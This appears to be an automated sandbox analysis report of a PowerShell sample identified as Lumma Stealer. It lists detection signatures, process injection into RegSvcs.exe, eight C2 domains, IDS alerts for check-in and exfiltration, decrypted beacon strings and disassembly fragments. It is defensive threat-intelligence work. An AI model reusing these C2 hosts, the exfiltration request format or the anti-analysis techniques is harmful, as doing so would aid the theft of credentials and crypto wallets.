Edit tour

Windows Analysis Report
62.122.184.98 (3).ps1

Overview

General Information

Sample name:	62.122.184.98 (3).ps1
Analysis ID:	1591131
MD5:	2b60655a425eaa036531f18e96741444
SHA1:	ffa85842df96dac9f6dac782cb1081251eaac749
SHA256:	930a09e6ee090e9f2b67e1a37270b4c31e3cb4fdad55cd8db34b11519759f145
Tags:	62-122-184-98ps1user-JAMESWT_MHT
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 7364 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\62.122.184.98 (3).ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 7896 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 7904 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 7912 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["nuttyshopr.biz", "truculengisau.biz", "punishzement.biz", "marketlumpe.biz", "spookycappy.biz", "fraggielek.biz", "grandiouseziu.biz", "littlenotii.biz"], "Build id": "DUkgLv--PISYA"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\62.122.184.98 (3).ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\62.122.184.98 (3).ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\62.122.184.98 (3).ps1", ProcessId: 7364, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\62.122.184.98 (3).ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\62.122.184.98 (3).ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\62.122.184.98 (3).ps1", ProcessId: 7364, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:10.624646+0100	2028371	3	Unknown Traffic	192.168.2.10	49704	104.102.49.254	443	TCP
2025-01-14T18:01:12.372040+0100	2028371	3	Unknown Traffic	192.168.2.10	49711	188.114.97.3	443	TCP
2025-01-14T18:01:13.594418+0100	2028371	3	Unknown Traffic	192.168.2.10	49717	188.114.97.3	443	TCP
2025-01-14T18:01:14.833090+0100	2028371	3	Unknown Traffic	192.168.2.10	49728	188.114.97.3	443	TCP
2025-01-14T18:01:16.415374+0100	2028371	3	Unknown Traffic	192.168.2.10	49737	188.114.97.3	443	TCP
2025-01-14T18:01:17.485915+0100	2028371	3	Unknown Traffic	192.168.2.10	49745	188.114.97.3	443	TCP
2025-01-14T18:01:18.529051+0100	2028371	3	Unknown Traffic	192.168.2.10	49751	188.114.97.3	443	TCP
2025-01-14T18:01:19.821171+0100	2028371	3	Unknown Traffic	192.168.2.10	49761	188.114.97.3	443	TCP
2025-01-14T18:01:23.192598+0100	2028371	3	Unknown Traffic	192.168.2.10	49782	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:13.123944+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49711	188.114.97.3	443	TCP
2025-01-14T18:01:14.083227+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49717	188.114.97.3	443	TCP
2025-01-14T18:01:23.963228+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49782	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:13.123944+0100	2049836	1	A Network Trojan was detected	192.168.2.10	49711	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:14.083227+0100	2049812	1	A Network Trojan was detected	192.168.2.10	49717	188.114.97.3	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fraggielek .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:09.877880+0100	2059133	1	Domain Observed Used for C2 Detected	192.168.2.10	64828	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grandiouseziu .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:09.890771+0100	2059135	1	Domain Observed Used for C2 Detected	192.168.2.10	57637	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (littlenotii .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:09.868069+0100	2059137	1	Domain Observed Used for C2 Detected	192.168.2.10	54196	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marketlumpe .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:09.903271+0100	2059141	1	Domain Observed Used for C2 Detected	192.168.2.10	57333	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (nuttyshopr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:09.914056+0100	2059143	1	Domain Observed Used for C2 Detected	192.168.2.10	54253	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (punishzement .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:09.924697+0100	2059145	1	Domain Observed Used for C2 Detected	192.168.2.10	57389	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spookycappy .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:09.936322+0100	2059151	1	Domain Observed Used for C2 Detected	192.168.2.10	62955	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (truculengisau .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:09.947255+0100	2059153	1	Domain Observed Used for C2 Detected	192.168.2.10	64010	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:18.991769+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	49751	188.114.97.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:19.827392+0100	2843864	1	A Network Trojan was detected	192.168.2.10	49761	188.114.97.3	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T18:01:11.784193+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.10	49704	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://punishzement.biz:443/apim8	Avira URL Cloud: Label: malware
Source: https://aleksandr-block.com/api	Avira URL Cloud: Label: malware
Source: https://aleksandr-block.com:443/api	Avira URL Cloud: Label: malware
Source: https://grandiouseziu.biz:443/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: 10.2.RegSvcs.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["nuttyshopr.biz", "truculengisau.biz", "punishzement.biz", "marketlumpe.biz", "spookycappy.biz", "fraggielek.biz", "grandiouseziu.biz", "littlenotii.biz"], "Build id": "DUkgLv--PISYA"}

Multi AV Scanner detection for submitted file

Source: 62.122.184.98 (3).ps1

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Sample uses string decryption to hide its real strings

Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: truculengisau.biz
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: spookycappy.biz
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: punishzement.biz
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: nuttyshopr.biz
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: marketlumpe.biz
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: littlenotii.biz
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grandiouseziu.biz
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fraggielek.biz
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: littlenotii.biz
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: DUkgLv--PISYA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 10_2_00414E18 CryptUnprotectData,

10_2_00414E18

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.10:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49782 version: TLS 1.2

Source:

Binary string: #.dll.pdb source: powershell.exe, 00000001.00000002.1302987160.000001E09F368000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1333650674.000001E0B7520000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000001.00000002.1302987160.000001E0A0423000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-13425C5Bh]	10_2_0040BA1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-66B4894Dh]	10_2_0043FB02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00420B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea ecx, dword ptr [ebx+61h]	10_2_00427B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+0Ch]	10_2_0043E560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+46h]	10_2_0043B500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi-2C9D65B2h]	10_2_0043B500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00414E18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov edx, ecx	10_2_0040AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	10_2_00441EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 27BE92A4h	10_2_00441EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+5BCA793Fh]	10_2_004097E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	10_2_004097E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [edi], ax	10_2_004097E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov esi, edx	10_2_00425870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	10_2_00419000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [esi], bl	10_2_0042E815
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	10_2_0041A0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebx, eax	10_2_0041A0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+67497F4Bh]	10_2_0042D8F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	10_2_0042D8F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	10_2_0042D890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, ebx	10_2_004298A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push ebp	10_2_0043C0A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edx], al	10_2_0042F0BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movsx eax, byte ptr [ebx+ebp]	10_2_00441940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	10_2_0042D859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [esi], bl	10_2_0042E961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [esi], bl	10_2_0042E96A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+232F41D2h]	10_2_0044011F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edx], al	10_2_0042F12D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edx], al	10_2_0042F1D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [esi], al	10_2_0042E25A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-384D2D2Eh]	10_2_00416258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+esi+12A137B5h]	10_2_0043B210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+3ED853ECh]	10_2_00416A39
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	10_2_0042CAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	10_2_0043EAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, word ptr [esi]	10_2_004412D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esp], CF132E6Eh	10_2_004412D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+eax-02h]	10_2_004412D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp ecx	10_2_004412D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+00000170h]	10_2_0042D2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [ebx], dl	10_2_0042D2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	10_2_00428AF7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+7998D126h]	10_2_00421A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	10_2_00421A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [ebx], al	10_2_00417AB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 03D746FEh	10_2_0043EB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+08h]	10_2_00442320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esp], CF132E6Eh	10_2_004413C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+eax-02h]	10_2_004413C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp ecx	10_2_004413C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	10_2_0042B3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esp], CF132E6Eh	10_2_004413D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+eax-02h]	10_2_004413D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp ecx	10_2_004413D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esp], CF132E6Eh	10_2_004413D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+eax-02h]	10_2_004413D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp ecx	10_2_004413D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edi+66218682h]	10_2_00409390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx]	10_2_00424C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov edx, eax	10_2_0040A416
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esp], CF132E6Eh	10_2_004414C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+eax-02h]	10_2_004414C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp ecx	10_2_004414C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [edi], cx	10_2_00429CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then test esi, esi	10_2_0043C480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [eax], cx	10_2_00413C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 3F2C504Eh	10_2_00413C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp eax	10_2_00429CB7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea ecx, dword ptr [eax-4BEC4700h]	10_2_00421550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 3F2C504Eh	10_2_00414559
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esp], CF132E6Eh	10_2_00441560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+eax-02h]	10_2_00441560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp ecx	10_2_00441560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp word ptr [ebx+ecx], 0000h	10_2_00420534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+43A84140h]	10_2_0042F5CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	10_2_0041ADE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [edi], cx	10_2_0041ADE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esp+3Ch], F6F1F033h	10_2_0043FDE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov esi, eax	10_2_0043FDE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	10_2_004075F0
